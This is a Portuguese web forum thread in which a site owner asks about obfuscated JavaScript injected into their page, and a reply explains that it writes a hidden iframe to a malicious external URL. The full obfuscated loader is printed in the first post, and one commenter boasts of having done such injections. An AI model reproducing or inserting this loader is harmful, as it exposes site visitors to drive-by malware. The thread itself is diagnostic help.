Virus no código

[dream1702 0]

Pessoal , não é a primeira vez que acontece esse tipo de coisa.

 

Fiz uma busca no google digitando o nome do meu site e ele retornou:

 

Este site pode danificar seu computador.

 

Na hora não acreditei e ja fui procurando o que éra no google, mas depois peguei o arquivo no servidor e vi que realmente havia gerado um código no final da minha página.

 

o código é esse, e fica antes de tyerminar a tag </body>: dentro das tgs JAVA SCRIPT

 

e = '0x00' + '19';str1 = "%A2%FA%F1%EC%86%EB%EA%E1%F2%FD%A5%B8%EC%F1%EB%F1%F8%F1%F2%F1%EA%E1%A0%FE%F1%FA%FA%FD%F4%B8%A4%A2%F1%FC%E8%F9%F5%FD%86%EB%E8%FB%A5%B8%FE%EA%EA%F6%A0%B7%B7%EA%F1%F6%F7%FB%F4%EA%B4%FB%F7%F5%B7%F2%FA%B7%F5%FD%F4%EA%B7%B8%86%EF%F1%FA%EA%FE%A5%A9%86%FE%FD%F1%FF%FE%EA%A5%A9%A4%A2%B7%F1%FC%E8%F9%F5%FD%A4%A2%B7%FA%F1%EC%A4";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);

O que é isso ?????

 

Valew pessoal

[klaygomes 0]

Neste script eles aplicaram uma tecnica de encriptação/obscuração, o que ele faz é apenas escrever um iframe invisível para a página http://tipocnt.com/ld/ment/, que também tem um script 'malicioso'.

[hinom 5]

eu fazia muito disso

 

bons tempos http://forum.imasters.com.br/public/style_emoticons/default/devil.gif

 

rss

[GuttoSP 2]

Dá uma lida nesse tópico

 

O site está hospedado em que servidor? A hospedagem é windows?